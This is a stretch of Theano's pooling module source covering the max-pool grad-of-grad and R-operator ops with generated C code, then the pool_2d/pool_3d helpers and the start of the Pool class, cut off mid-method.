assert stride.ndim == 1 assert pad.ndim == 1 assert x.ndim == maxout.ndim == gz.ndim >= nd if ws.dtype not in tensor.int_dtypes: raise TypeError('Pool downsample parameters must be ints.') if stride.dtype not in tensor.int_dtypes: raise TypeError('Stride parameters must be ints.') if pad.dtype not in tensor.int_dtypes: raise TypeError('Padding parameters must be ints.') return Apply(self, [x, maxout, gz, ws, stride, pad], [x.type()]) def perform(self, node, inp, out): x, maxout, ggx, ws, stride, pad = inp z, = out nd = self.ndim assert ws.shape == stride.shape == pad.shape == (nd,) if len(x.shape) < nd: raise NotImplementedError( 'DownsampleFactorMaxGradGrad requires input ' 'with {} or more dimensions'.format(nd)) if (z[0] is None) or (z[0].shape != maxout.shape): z[0] = np.zeros(maxout.shape, dtype=x.dtype) ggz = z[0] # grad wrt maxout_grad has the same shape as maxout # size of pooling output pool_out_shp = ggz.shape[-nd:] img_shp = tuple(x.shape[-nd + i] + 2 * pad[i] for i in xrange(nd)) # pad the image and its gradients if max(pad) > 0: y_padded = np.zeros(x.shape[:-nd] + img_shp, dtype=x.dtype) y_padded[(slice(None),) * (len(x.shape) - nd) + tuple(slice(pad[i], img_shp[i] - pad[i]) for i in xrange(nd))] = x ggx_padded = np.zeros(x.shape[:-nd] + img_shp, dtype=x.dtype) ggx_padded[(slice(None),) * (len(x.shape) - nd) + tuple(slice(pad[i], img_shp[i] - pad[i]) for i in xrange(nd))] = ggx else: y_padded = x ggx_padded = ggx # precompute the region boundaries for each dimension region_ranges = [[] for i in xrange(nd)] for i in xrange(nd): for j in xrange(pool_out_shp[i]): start = j * stride[i] end = builtins.min(start + ws[i], img_shp[i]) region_ranges[i].append(xrange(start, end)) # iterate over non-pooling dimensions for k in np.ndindex(*x.shape[:-nd]): ggxk = ggx_padded[k] ggzk = ggz[k] yk = y_padded[k] maxoutk = maxout[k] # iterate over pooling regions for r in np.ndindex(*pool_out_shp): # iterate inside region maxout_value = maxoutk[r] for c in itertools.product(*[region_ranges[i][r[i]] for i in xrange(nd)]): if maxout_value == yk[c]: ggzk[r] += ggxk[c] def infer_shape(self, node, in_shapes): return [in_shapes[1]] def grad(self, inp, grads): x, maxout, ggx, ws, stride, pad = inp gz, = grads return [theano.tensor.zeros_like(x), theano.tensor.zeros_like(maxout), MaxPoolGrad(ignore_border=self.ignore_border, ndim=self.ndim)(x, maxout, gz, ws, stride, pad), DisconnectedType()(), DisconnectedType()(), DisconnectedType()()] def connection_pattern(self, node): return [[1], [1], [1], [0], [0], [0]] def c_code(self, node, name, inp, out, sub): if self.mode != 'max': raise theano.gof.utils.MethodNotDefined() x, maxout, ggx, ws, stride, pad = inp z, = out # the grad of grad nd = self.ndim total_ndim = node.inputs[0].ndim non_pool_ndim = total_ndim - nd fail = sub['fail'] if self.openmp: # run in parallel over each pooling block omp_parallel = '#pragma omp parallel for private(r_st, r_end, r_idx, i_idx, o_idx, maximum) schedule(static)' else: omp_parallel = '' ccode = """ int z_typenum = PyArray_ObjectType((PyObject*)%(maxout)s, 0); int z[%(nd)s]; // shape of the output int r[%(nd)s]; // shape of the padded_input int ws[%(nd)s]; int st[%(nd)s]; int pd[%(nd)s]; if(PyArray_DIM(%(ws)s, 0)!=%(nd)s) { PyErr_SetString(PyExc_ValueError, "ws must be a vector of size %(nd)s"); %(fail)s; } if(PyArray_DIM(%(stride)s, 0)!=%(nd)s) { PyErr_SetString(PyExc_ValueError, "stride must be a vector of size %(nd)s"); %(fail)s; } if(PyArray_DIM(%(pad)s, 0)!=%(nd)s) { PyErr_SetString(PyExc_ValueError, "pad must be a vector of size %(nd)s"); %(fail)s; } for (int i=0; i<%(nd)s; i++) { ws[i] = *((npy_intp*)PyArray_GETPTR1(%(ws)s, i)); st[i] = *((npy_intp*)PyArray_GETPTR1(%(stride)s, i)); pd[i] = *((npy_intp*)PyArray_GETPTR1(%(pad)s, i)); z[i] = PyArray_DIMS(%(maxout)s)[%(non_pool_ndim)s + i]; r[i] = PyArray_DIMS(%(x)s)[%(non_pool_ndim)s + i] + 2 * pd[i]; } // allocating memory for output, if necessary int mem_nec; mem_nec = 0; if ((!%(z)s) || !PyArray_ISCONTIGUOUS(%(z)s) || *PyArray_DIMS(%(z)s)!=%(total_ndim)s) { mem_nec = 1; } if (!mem_nec) { for (int i=0; i<%(total_ndim)s; i++) { if (PyArray_DIMS(%(z)s)[i] != PyArray_DIMS(%(maxout)s)[i]) { mem_nec = 1; break; } } } if (mem_nec) { Py_XDECREF(%(z)s); %(z)s = (PyArrayObject*) PyArray_ZEROS(%(total_ndim)s, PyArray_DIMS(%(maxout)s), z_typenum,0); } else { PyArray_FILLWBYTE(%(z)s, 0); } dtype_%(maxout)s maximum; // temp var for maximum value in a region // will be used to hold start and end index of a region int r_st[%(nd)s]; int r_end[%(nd)s]; // index for iterating over the pooling regions int r_idx[%(nd)s]; // placeholder for PyArray indexing (output) npy_intp o_idx[%(total_ndim)s]; // placeholder for PyArray indexing (input) npy_intp i_idx[%(total_ndim)s]; // loop over non-pooling dimensions int non_pooling_prod; non_pooling_prod = 1; for (int i=0; i<%(non_pool_ndim)s; i++) { non_pooling_prod *= PyArray_DIMS(%(x)s)[i]; } %(omp_parallel)s // first loop over non-pooling dimensions for (int t=0; t<non_pooling_prod; t++) { // compute the non-pooling index in each dimension if (%(non_pool_ndim)s!=0) { o_idx[0] = t; i_idx[0] = t; for (int i=1; i<%(non_pool_ndim)s; i++) { o_idx[i] = o_idx[i - 1] / PyArray_DIMS(%(x)s)[i - 1]; o_idx[i - 1] = o_idx[i - 1] %% PyArray_DIMS(%(x)s)[i - 1]; i_idx[i] = o_idx[i]; i_idx[i - 1] = o_idx[i - 1]; } } // then loop over each region in each pooling dimension """ for i in xrange(nd): ccode += """ for (r_idx[%(i)s]=0; r_idx[%(i)s] < z[%(i)s]; r_idx[%(i)s]++) { r_st[%(i)s] = r_idx[%(i)s] * st[%(i)s]; r_end[%(i)s] = r_st[%(i)s] + ws[%(i)s]; // skip the padding r_st[%(i)s] = r_st[%(i)s] < pd[%(i)s] ? pd[%(i)s] : r_st[%(i)s]; r_end[%(i)s] = r_end[%(i)s] > (r[%(i)s] - pd[%(i)s]) ? r[%(i)s] - pd[%(i)s] : r_end[%(i)s]; // from padded_img space to img space r_st[%(i)s] -= pd[%(i)s]; r_end[%(i)s] -= pd[%(i)s]; // use the index to find the correct position in the output o_idx[%(non_pool_ndim)s + %(i)s] = r_idx[%(i)s]; """ % dict(i=i, non_pool_ndim=non_pool_ndim) ccode += """ dtype_%(z)s * z; if (%(total_ndim)s == 4) { // the maximum value maximum = ((dtype_%(maxout)s*)(PyArray_GETPTR4(%(maxout)s,o_idx[0],o_idx[1],o_idx[2],o_idx[3])))[0]; // z at this position z = ((dtype_%(z)s*)(PyArray_GETPTR4(%(z)s,o_idx[0],o_idx[1],o_idx[2],o_idx[3]))); } else { // the maximum value maximum = ((dtype_%(maxout)s*)(PyArray_GetPtr(%(maxout)s,o_idx)))[0]; // z at this position z = ((dtype_%(z)s*)(PyArray_GetPtr(%(z)s,o_idx))); } """ for i in xrange(nd): ccode += """ // go through the pooled region in the unpadded input for(int m%(i)s=r_st[%(i)s]; m%(i)s<r_end[%(i)s]; m%(i)s++) { i_idx[%(non_pool_ndim)s + %(i)s] = m%(i)s; """ % dict(i=i, non_pool_ndim=non_pool_ndim) ccode += """ dtype_%(x)s a; dtype_%(ggx)s * ggx; if (%(total_ndim)s == 4) { a = ((dtype_%(x)s*)(PyArray_GETPTR4(%(x)s,i_idx[0],i_idx[1],i_idx[2],i_idx[3])))[0]; ggx = ((dtype_%(ggx)s*)(PyArray_GETPTR4(%(ggx)s,i_idx[0],i_idx[1],i_idx[2],i_idx[3]))); } else { a = ((dtype_%(x)s*)(PyArray_GetPtr(%(x)s,i_idx)))[0]; ggx = ((dtype_%(ggx)s*)(PyArray_GetPtr(%(ggx)s,i_idx))); } if (a == maximum){ z[0] += ggx[0]; } """ for i in xrange(nd): ccode += """ } // for loop over region """ for i in xrange(nd): ccode += """ } // loop over pooling dimension """ ccode += """ } // for loop over non-pooling dimensions """ return ccode % locals() def c_code_cache_version(self): return (0, 4, self.openmp) class MaxPoolRop(OpenMPOp): """ Implements the R-operator for the downsample operation. Parameters ---------- ws : list or tuple of N ints Downsample factor over rows, columns etc. ws indicates the size of the pooling region. ignore_border : bool If ws doesn't divide imgshape, do we include an extra row/col/slice of partial downsampling (False) or ignore it (True). stride : list or tuple of N ints or None Stride size, which is the number of shifts over rows/cols/slices to get the next pool region. If stride is None, it is considered equal to ws (no overlap on pooling regions). pad : tuple of N ints or None For each downsampling dimension, this specifies the number of zeros to add as padding on both sides. For 2D and (pad_h, pad_w), pad_h specifies the size of the top and bottom margins, pad_w specifies the size of the left and right margins. No padding is added if pad is None. mode : {'max', 'sum', 'average_inc_pad', 'average_exc_pad'} ('average_inc_pad' excludes the padding from the count, 'average_exc_pad' include it) ndim : int The number of pooling dimensions N. The default is 2. """ __props__ = ('ignore_border', 'mode', 'ndim') params_type = ParamsType(ignore_border=bool_t,) def __init__(self, ignore_border=False, mode='max', ndim=2, openmp=None): super(MaxPoolRop, self).__init__(openmp=openmp) self.ndim = ndim self.ignore_border = ignore_border self.mode = mode assert mode == 'max' def make_node(self, x, eval_point, ws, stride=None, pad=None): # TODO: consider restricting the dtype? x = tensor.as_tensor_variable(x) eval_point = tensor.as_tensor_variable(eval_point) nd = self.ndim if stride is None: stride = ws if pad is None: pad = (0,) * nd elif isinstance(pad, (tuple, list)): if max(pad) != 0 and not self.ignore_border: raise NotImplementedError( 'padding works only with ignore_border=True') if isinstance(ws, (tuple, list)): if any(pad[i] >= ws[i] for i in range(nd)): raise NotImplementedError( 'padding must be smaller than strides') ws = tensor.as_tensor_variable(ws) stride = tensor.as_tensor_variable(stride) pad = tensor.as_tensor_variable(pad) assert ws.ndim == 1 assert stride.ndim == 1 assert pad.ndim == 1 if x.type.ndim < nd: raise TypeError() if not ws.dtype.startswith('int'): raise TypeError('Pool downsample parameters must be ints.') if not stride.dtype.startswith('int'): raise TypeError('Stride parameters must be ints.') if not pad.dtype.startswith('int'): raise TypeError('Padding parameters must be ints.') # If the input shape are broadcastable we can have 0 in the output shape broad = x.broadcastable[:-nd] + (False,) * nd out = tensor.TensorType(eval_point.dtype, broad) return gof.Apply(self, [x, eval_point, ws, stride, pad], [out()]) def perform(self, node, inp, out, params): x, ex, ws, stride, pad = inp z, = out nd = self.ndim assert ws.shape == stride.shape == pad.shape == (nd,) if len(x.shape) < nd: raise NotImplementedError( 'Pool requires input with {} or more dimensions'.format(nd)) z_shape = Pool.out_shape(x.shape, ws, params.ignore_border, stride, pad, nd) if not self.ignore_border: assert all(z > 0 for z in z_shape[-nd:]) if (z[0] is None) or (z[0].shape != z_shape): z[0] = np.empty(z_shape, dtype=x.dtype) zz = z[0] # size of pooling output pool_out_shp = zz.shape[-nd:] img_shp = tuple(x.shape[-nd + i] + 2 * pad[i] for i in xrange(nd)) inc_pad = self.mode == 'average_inc_pad' # pad the image and the eval point if max(pad) != 0: y = np.zeros(x.shape[:-nd] + img_shp, dtype=x.dtype) y[(slice(None),) * (len(x.shape) - nd) + tuple(slice(pad[i], img_shp[i] - pad[i]) for i in xrange(nd))] = x ey = np.zeros(ex.shape[:-nd] + img_shp, dtype=ex.dtype) ey[(slice(None),) * (len(ex.shape) - nd) + tuple(slice(pad[i], img_shp[i] - pad[i]) for i in xrange(nd))] = ex else: y = x ey = ex # precompute the region boundaries for each dimension region_slices = [[] for i in xrange(nd)] for i in xrange(nd): for j in xrange(pool_out_shp[i]): start = j * stride[i] end = builtins.min(start + ws[i], img_shp[i]) if not inc_pad: start = builtins.max(start, pad[i]) end = builtins.min(end, img_shp[i] - pad[i]) region_slices[i].append(slice(start, end)) # iterate over non-pooling dimensions for k in np.ndindex(*x.shape[:-nd]): zzk = zz[k] yk = y[k] eyk = ey[k] # iterate over pooling regions for r in np.ndindex(*pool_out_shp): # current slice in padded input ykslice = yk[[region_slices[i][r[i]] for i in xrange(nd)]] # current slice in eval points eykslice = eyk[[region_slices[i][r[i]] for i in xrange(nd)]] # indices of maximum idx = np.unravel_index(np.argmax(ykslice), ykslice.shape) zzk[r] = eykslice[idx] def c_headers(self): headers = ['<algorithm>'] headers += super(MaxPoolRop, self).c_headers() return headers def c_code(self, node, name, inp, out, sub): if self.mode != 'max': raise theano.gof.utils.MethodNotDefined() x, ex, ws, stride, pad = inp z, = out nd = self.ndim total_ndim = node.inputs[0].ndim non_pool_ndim = total_ndim - nd fail = sub['fail'] params = sub['params'] if self.openmp: # run in parallel over each pooling block omp_parallel = '#pragma omp parallel for private(r_st, r_end, r_idx, i_idx, o_idx, collector, eval_collector) schedule(static)' else: omp_parallel = '' ccode = """ int typenum = PyArray_ObjectType((PyObject*)%(x)s, 0); if(PyArray_NDIM(%(x)s)!=%(total_ndim)s) { PyErr_SetString(PyExc_ValueError, "x must be a %(total_ndim)sD ndarray"); %(fail)s; } if(PyArray_NDIM(%(ex)s)!=%(total_ndim)s) { PyErr_SetString(PyExc_ValueError, "eval_point must be a %(total_ndim)sD ndarray"); %(fail)s; } if(PyArray_DIM(%(ws)s, 0)!=%(nd)s) { PyErr_SetString(PyExc_ValueError, "ws must be a vector of size %(nd)s"); %(fail)s; } if(PyArray_DIM(%(stride)s, 0)!=%(nd)s) { PyErr_SetString(PyExc_ValueError, "stride must be a vector of size %(nd)s"); %(fail)s; } if(PyArray_DIM(%(pad)s, 0)!=%(nd)s) { PyErr_SetString(PyExc_ValueError, "pad must be a vector of size %(nd)s"); %(fail)s; } int z[%(nd)s]; // shape of the output int r[%(nd)s]; // shape of the padded_input int ws[%(nd)s]; int st[%(nd)s]; int pd[%(nd)s]; int nonzero_padding; nonzero_padding = 0; for (int i=0; i<%(nd)s; i++) { ws[i] = *((npy_intp*)PyArray_GETPTR1(%(ws)s, i)); st[i] = *((npy_intp*)PyArray_GETPTR1(%(stride)s, i)); pd[i] = *((npy_intp*)PyArray_GETPTR1(%(pad)s, i)); r[i] = PyArray_DIMS(%(x)s)[%(non_pool_ndim)s + i] + 2 * pd[i]; if (pd[i]>0) nonzero_padding = 1; } if (!%(params)s->ignore_border && nonzero_padding) { PyErr_SetString(PyExc_ValueError, "padding must be zero when ignore border is False"); %(fail)s; } if (%(params)s->ignore_border) { for (int i=0; i<%(nd)s; i++) { // '/' in C is different from '/' in python if (r[i] - ws[i] < 0) { z[i] = 0; } else { z[i] = (r[i] - ws[i]) / st[i] + 1; } } } else { for (int i=0; i<%(nd)s; i++) { // decide how many rows/cols the output has if (st[i] >= ws[i]) { z[i] = (r[i] - 1) / st[i] + 1; } else { z[i] = std::max(0, (r[i] - 1 - ws[i] + st[i]) / st[i]) + 1; } assert(z[i] > 0); } } // memory allocation of z if necessary int mem_nec; mem_nec = 0; if ((!%(z)s) || *PyArray_DIMS(%(z)s)!=%(total_ndim)s) { mem_nec = 1; } if (!mem_nec) { for (int i=0; i<%(non_pool_ndim)s; i++) { if (PyArray_DIMS(%(z)s)[i] != PyArray_DIMS(%(x)s)[i]) { mem_nec = 1; break; } } } if (!mem_nec) { for (int i=0; i<%(nd)s; i++) { if (PyArray_DIMS(%(z)s)[%(non_pool_ndim)s + i] != z[i]) { mem_nec = 1; break; } } } if (mem_nec) { if (%(z)s) Py_XDECREF(%(z)s); npy_intp dims[%(total_ndim)s]; for (int i=0; i<%(non_pool_ndim)s; i++) { dims[i] = PyArray_DIMS(%(x)s)[i]; } for (int i=0; i<%(nd)s; i++) { dims[%(non_pool_ndim)s + i] = z[i]; } //TODO: zeros not necessary %(z)s = (PyArrayObject*) PyArray_ZEROS(%(total_ndim)s, dims, typenum,0); } // initialize temp var for the value in a region dtype_%(x)s collector; dtype_%(ex)s eval_collector; int z_prod; // do not run if any z[i] is zero z_prod = 1; for (int i=0; i<%(nd)s; i++) { z_prod *= z[i]; } if (z_prod) { // will be used to hold start and end index of a region int r_st[%(nd)s]; int r_end[%(nd)s]; // index for iterating over the pooling regions int r_idx[%(nd)s]; // placeholder for PyArray indexing (output) npy_intp o_idx[%(total_ndim)s]; // placeholder for PyArray indexing (input) npy_intp i_idx[%(total_ndim)s]; // loop over non-pooling dimensions int non_pooling_prod = 1; for (int i=0; i<%(non_pool_ndim)s; i++) { non_pooling_prod *= PyArray_DIMS(%(x)s)[i]; } %(omp_parallel)s // first loop over non-pooling dimensions for (int t=0; t<non_pooling_prod; t++) { // compute the non-pooling index in each dimension if (%(non_pool_ndim)s!=0) { o_idx[0] = t; i_idx[0] = t; for (int i=1; i<%(non_pool_ndim)s; i++) { o_idx[i] = o_idx[i - 1] / PyArray_DIMS(%(x)s)[i - 1]; o_idx[i - 1] = o_idx[i - 1] %% PyArray_DIMS(%(x)s)[i - 1]; i_idx[i] = o_idx[i]; i_idx[i - 1] = o_idx[i - 1]; } } // then loop over each region in each pooling dimension """ for i in xrange(nd): ccode += """ for (r_idx[%(i)s]=0; r_idx[%(i)s] < z[%(i)s]; r_idx[%(i)s]++) { r_st[%(i)s] = r_idx[%(i)s] * st[%(i)s]; r_end[%(i)s] = r_st[%(i)s] + ws[%(i)s]; // skip the padding r_st[%(i)s] = r_st[%(i)s] < pd[%(i)s] ? pd[%(i)s] : r_st[%(i)s]; r_end[%(i)s] = r_end[%(i)s] > (r[%(i)s] - pd[%(i)s]) ? r[%(i)s] - pd[%(i)s] : r_end[%(i)s]; // from padded_img space to img space r_st[%(i)s] -= pd[%(i)s]; r_end[%(i)s] -= pd[%(i)s]; // handle the case where no padding, ignore border is True if (%(params)s->ignore_border) { r_end[%(i)s] = r_end[%(i)s] > r[%(i)s] ? r[%(i)s] : r_end[%(i)s]; } // use the index to find the correct position in the output o_idx[%(non_pool_ndim)s + %(i)s] = r_idx[%(i)s]; """ % dict(i=i, params=sub['params'], non_pool_ndim=non_pool_ndim) ccode += """ // get a pointer to the correct position in the output dtype_%(z)s * z; if (%(total_ndim)s == 4) z = ((dtype_%(z)s*)(PyArray_GETPTR4(%(z)s, o_idx[0], o_idx[1], o_idx[2], o_idx[3]))); else z = ((dtype_%(z)s*)(PyArray_GetPtr(%(z)s, o_idx))); """ for i in xrange(nd): ccode += """ // set the first index of dimension %(i)s i_idx[%(non_pool_ndim)s + %(i)s] = r_st[%(i)s]; """ % dict(i=i, non_pool_ndim=non_pool_ndim) ccode += """ // use the first element as the initial value of collector if (%(total_ndim)s == 4) { collector = ((dtype_%(x)s*)(PyArray_GETPTR4(%(x)s,i_idx[0],i_idx[1],i_idx[2],i_idx[3])))[0]; eval_collector = ((dtype_%(ex)s*)(PyArray_GETPTR4(%(ex)s,i_idx[0],i_idx[1],i_idx[2],i_idx[3])))[0]; } else { collector = ((dtype_%(x)s*)(PyArray_GetPtr(%(x)s,i_idx)))[0]; eval_collector = ((dtype_%(ex)s*)(PyArray_GetPtr(%(ex)s,i_idx)))[0]; } """ for i in xrange(nd): ccode += """ // go through the pooled region in the unpadded input for(int m%(i)s=r_st[%(i)s]; m%(i)s<r_end[%(i)s]; m%(i)s++) { i_idx[%(non_pool_ndim)s + %(i)s] = m%(i)s; """ % dict(i=i, non_pool_ndim=non_pool_ndim) ccode += """ // update maximum dtype_%(x)s a; dtype_%(ex)s ea; if (%(total_ndim)s == 4) { a = ((dtype_%(x)s*)(PyArray_GETPTR4(%(x)s,i_idx[0],i_idx[1],i_idx[2],i_idx[3])))[0]; ea = ((dtype_%(ex)s*)(PyArray_GETPTR4(%(ex)s,i_idx[0],i_idx[1],i_idx[2],i_idx[3])))[0]; } else { a = ((dtype_%(x)s*)(PyArray_GetPtr(%(x)s,i_idx)))[0]; ea = ((dtype_%(ex)s*)(PyArray_GetPtr(%(ex)s,i_idx)))[0]; } if (a > collector) { collector = a; eval_collector = ea; } """ for i in xrange(nd): ccode += """ } // for loop over region """ ccode += """ z[0] = eval_collector; """ for i in xrange(nd): ccode += """ } // loop over pooling dimension """ ccode += """ } // for loop over non-pooling dimensions } // if z_prod """ return ccode % locals() def c_code_cache_version(self): return (1, self.openmp)

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from __future__ import absolute_import, print_function, division import warnings import itertools import numpy as np from six.moves import xrange import six.moves.builtins as builtins import theano from theano import gof, OpenMPOp, tensor, Variable, Apply from theano.gof import ParamsType, EnumList from theano.gradient import DisconnectedType from theano.scalar import bool as bool_t def max_pool_2d_same_size(input, patch_size): output = Pool(True)(input, patch_size) outs = MaxPoolGrad(True)(input, output, output, patch_size) return outs def pool_2d(input, ws=None, ignore_border=None, stride=None, pad=(0, 0), mode='max', ds=None, st=None, padding=None): if ds is not None: if ws is not None: raise ValueError( "You can't provide a tuple value to both 'ws' and 'ds'." " Please provide a value only to 'ws'." ) else: warnings.warn( "DEPRECATION: the 'ds' parameter is not going to exist" " anymore as it is going to be replaced by the parameter" " 'ws'.", stacklevel=2 ) ws = ds elif ds is None and ws is None: raise ValueError( "You must provide a tuple value for the window size." ) if st is not None: if stride is not None: raise ValueError( "You can't provide a tuple value to both 'st and 'stride'." " Please provide a value only to 'stride'." ) else: warnings.warn( "DEPRECATION: the 'st' parameter is not going to exist" " anymore as it is going to be replaced by the parameter" " 'stride'.", stacklevel=2 ) stride = st if padding is not None: if pad not in {None, (0, 0)}: raise ValueError( "You can't provide a tuple value to both 'padding' and pad." " Please provide a value only to pad." ) else: warnings.warn( "DEPRECATION: the 'padding' parameter is not going to exist" " anymore as it is going to be replaced by the parameter" " 'pad'.", stacklevel=2 ) pad = padding if input.ndim < 2: raise NotImplementedError('pool_2d requires a dimension >= 2') if ignore_border is None: warnings.warn( "pool_2d() will have the parameter ignore_border" " default value changed to True (currently" " False). To have consistent behavior with all Theano" " version, explicitly add the parameter ignore_border=True." " On the GPU, using ignore_border=True is needed to use cuDNN." " When using ignore_border=False and not using cuDNN, the only" " GPU combination supported is when" " `ws == stride and pad == (0, 0) and mode == 'max'`." " Otherwise, the convolution will be executed on CPU.", stacklevel=2) ignore_border = False op = Pool(ignore_border, ndim=2, mode=mode) output = op(input, ws, stride, pad) return output def pool_3d(input, ws=None, ignore_border=None, stride=None, pad=(0, 0, 0), mode='max', ds=None, st=None, padding=None): if ds is not None: if ws is not None: raise ValueError( "You can't provide a tuple value to both 'ws' and 'ds'." " Please provide a value only to 'ws'." ) else: warnings.warn( "DEPRECATION: the 'ds' parameter is not going to exist" " anymore as it is going to be replaced by the parameter" " 'ws'.", stacklevel=2 ) ws = ds elif ds is None and ws is None: raise ValueError( "You must provide a tuple value for the window size." ) if st is not None: if stride is not None: raise ValueError( "You can't provide a tuple value to both 'st and 'stride'." " Please provide a value only to 'stride'." ) else: warnings.warn( "DEPRECATION: the 'st' parameter is not going to exist" " anymore as it is going to be replaced by the parameter" " 'stride'.", stacklevel=2 ) stride = st if padding is not None: if pad not in {None, (0, 0, 0)}: raise ValueError( "You can't provide a tuple value to both 'padding' and pad." " Please provide a value only to pad." ) else: warnings.warn( "DEPRECATION: the 'padding' parameter is not going to exist" " anymore as it is going to be replaced by the parameter" " 'pad'.", stacklevel=2 ) pad = padding if input.ndim < 3: raise NotImplementedError('pool_3d requires a dimension >= 3') if ignore_border is None: warnings.warn( "pool_3d() will have the parameter ignore_border" " default value changed to True (currently" " False). To have consistent behavior with all Theano" " version, explicitly add the parameter ignore_border=True." " On the GPU, using ignore_border=True is needed to use cuDNN." " When using ignore_border=False and not using cuDNN, the only" " GPU combination supported is when" " `ws == stride and pad == (0, 0, 0) and mode == 'max'`." " Otherwise, the convolution will be executed on CPU.", stacklevel=2) ignore_border = False op = Pool(ignore_border, ndim=3, mode=mode) output = op(input, ws, stride, pad) return output PoolingMode_t = EnumList(('POOLING_MAX', 'max'), ('POOLING_SUM', 'sum'), ('POOLING_AVERAGE_COUNT_INCLUDE_PADDING', 'average_inc_pad'), ('POOLING_AVERAGE_COUNT_EXCLUDE_PADDING', 'average_exc_pad')) class Pool(OpenMPOp): __props__ = ('ignore_border', 'mode', 'ndim') params_type = ParamsType(ignore_border=bool_t,) @staticmethod def out_shape(imgshape, ws=None, ignore_border=False, stride=None, pad=None, ndim=2, ds=None, st=None, padding=None): if ds is not None: if ws is not None: raise ValueError( "You can't provide a tuple value to both 'ws' and 'ds'." " Please provide a value only to 'ws'." ) else: warnings.warn( "DEPRECATION: the 'ds' parameter is not going to exist" " anymore as it is going to be replaced by the parameter" " 'ws'.", stacklevel=2 ) ws = ds elif ds is None and ws is None: raise ValueError( "You must provide a tuple value for the window size." ) if st is not None: if stride is not None: raise ValueError( "You can't provide a tuple value to both 'st and 'stride'." " Please provide a value only to 'stride'." ) else: warnings.warn( "DEPRECATION: the 'st' parameter is not going to exist" " anymore as it is going to be replaced by the parameter" " 'stride'.", stacklevel=2 ) stride = st if padding is not None: zero_pad = (0,) * ndim if pad not in {None, zero_pad}: raise ValueError( "You can't provide a tuple value to both 'padding' and pad." " Please provide a value only to pad." ) else: warnings.warn( "DEPRECATION: the 'padding' parameter is not going to" " exist anymore as it is going to be replaced by the" " parameter 'pad'.", stacklevel=2 ) pad = padding if ndim is None: ndim = 2 assert ndim > 0 if len(imgshape) < ndim: raise TypeError('imgshape must have at least {} dimensions'.format(ndim)) if stride is None: stride = ws if pad is None: pad = (0,) * ndim patch_shape = tuple(tensor.extract_constant(imgshape[-ndim + i]) + pad[i] * 2 for i in xrange(ndim)) def compute_out(v, downsample, stride): if ignore_border: if downsample == stride: return v // stride else: out = (v - downsample) // stride + 1 if isinstance(out, theano.Variable): return tensor.maximum(out, 0) else: return np.maximum(out, 0) else: if isinstance(v, theano.Variable): return tensor.switch(tensor.ge(stride, downsample), (v - 1) // stride + 1, tensor.maximum(0, (v - 1 - downsample) // stride + 1) + 1) elif stride >= downsample: return (v - 1) // stride + 1 else: return max(0, (v - 1 - downsample + stride) // stride) + 1 out_shape = [compute_out(patch_shape[i], ws[i], stride[i]) for i in xrange(ndim)] rval = list(imgshape[:-ndim]) + out_shape return rval def __init__(self, ignore_border=False, mode='max', ndim=2, openmp=None): super(Pool, self).__init__(openmp=openmp) self.ndim = ndim self.ignore_border = ignore_border if mode == 'max_deterministic': mode = 'max' if mode not in ['max', 'average_inc_pad', 'average_exc_pad', 'sum']: raise ValueError( "Pool mode parameter only support 'max', 'sum'," " 'average_inc_pad' and 'average_exc_pad'. Got %s" % mode) self.mode = mode def prepare_node(self, node, storage_map, compute_map, impl): if len(node.inputs) == 1: self.ndim = len(node.op.ds) self.mode = node.op.mode ws = theano.tensor.constant(node.op.ds) st = theano.tensor.constant(node.op.st) pad = theano.tensor.constant(node.op.padding) node.inputs.append(ws) node.inputs.append(st) node.inputs.append(pad) if isinstance(ws, theano.Constant): storage_map[ws] = [ws.data] compute_map[ws] = [True] else: storage_map[ws] = [None] compute_map[ws] = [False] if isinstance(st, theano.Constant): storage_map[st] = [st.data] compute_map[st] = [True] else: storage_map[st] = [None] compute_map[st] = [False] if isinstance(pad, theano.Constant): storage_map[pad] = [pad.data] compute_map[pad] = [True] else: storage_map[pad] = [None] compute_map[pad] = [False] def make_node(self, x, ws, stride=None, pad=None): x = tensor.as_tensor_variable(x) nd = self.ndim if stride is None: stride = ws if pad is None: pad = (0,) * nd elif isinstance(pad, (tuple, list)): if max(pad) != 0 and not self.ignore_border: raise NotImplementedError( 'padding works only with ignore_border=True') if isinstance(ws, (tuple, list)): if any(pad[i] >= ws[i] for i in range(nd)): raise NotImplementedError( 'padding must be smaller than strides') ws = tensor.as_tensor_variable(ws) stride = tensor.as_tensor_variable(stride) pad = tensor.as_tensor_variable(pad) assert ws.ndim == 1 assert stride.ndim == 1 assert pad.ndim == 1 if x.type.ndim < nd: raise TypeError() if ws.dtype not in tensor.int_dtypes: raise TypeError('Pool downsample parameters must be ints.') if stride.dtype not in tensor.int_dtypes: raise TypeError('Stride parameters must be ints.') if pad.dtype not in tensor.int_dtypes: raise TypeError('Padding parameters must be ints.') broad = x.broadcastable[:-nd] + (False,) * nd out = tensor.TensorType(x.dtype, broad) return gof.Apply(self, [x, ws, stride, pad], [out()]) def perform(self, node, inp, out, params): x, ws, stride, pad = inp z, = out nd = self.ndim assert ws.shape == stride.shape == pad.shape == (nd,) if len(x.shape) < nd: raise NotImplementedError( 'Pool requires input with {} or more dimensions'.format(nd)) z_shape = self.out_shape(x.shape, ws, params.ignore_border, stride, pad, nd) if not params.ignore_border: assert all(z > 0 for z in z_shape[-nd:]) if (z[0] is None) or (z[0].shape != z_shape): z[0] = np.empty(z_shape, dtype=x.dtype) zz = z[0] pool_out_shp = zz.shape[-nd:] img_shp = tuple(x.shape[-nd + i] + 2 * pad[i] for i in xrange(nd)) inc_pad = self.mode == 'average_inc_pad' if max(pad) != 0: y = np.zeros(x.shape[:-nd] + img_shp, dtype=x.dtype) y[(slice(None),) * (len(x.shape) - nd) + tuple(slice(pad[i], img_shp[i] - pad[i]) for i in xrange(nd))] = x else: y = x func = np.max if self.mode == 'sum': func = np.sum elif self.mode != 'max': func = np.average region_slices = [[] for i in xrange(nd)] for i in xrange(nd): for j in xrange(pool_out_shp[i]): start = j * stride[i] end = builtins.min(start + ws[i], img_shp[i]) if not inc_pad: start = builtins.max(start, pad[i]) end = builtins.min(end, img_shp[i] - pad[i]) region_slices[i].append(slice(start, end)) for k in np.ndindex(*x.shape[:-nd]): zzk = zz[k] yk = y[k] for r in np.ndindex(*pool_out_shp): zzk[r] = func( yk[[region_slices[i][r[i]] for i in xrange(nd)]]) def infer_shape(self, node, in_shapes): ws, stride, pad = [node.inputs[1], node.inputs[2], node.inputs[3]] shp = self.out_shape(in_shapes[0], ws, self.ignore_border, stride, pad, self.ndim) return [shp] def L_op(self, inputs, outputs, grads): x, ws, stride, pad = inputs gz, = grads disc = [DisconnectedType()() for i in inputs[1:]] if self.mode == 'max': return 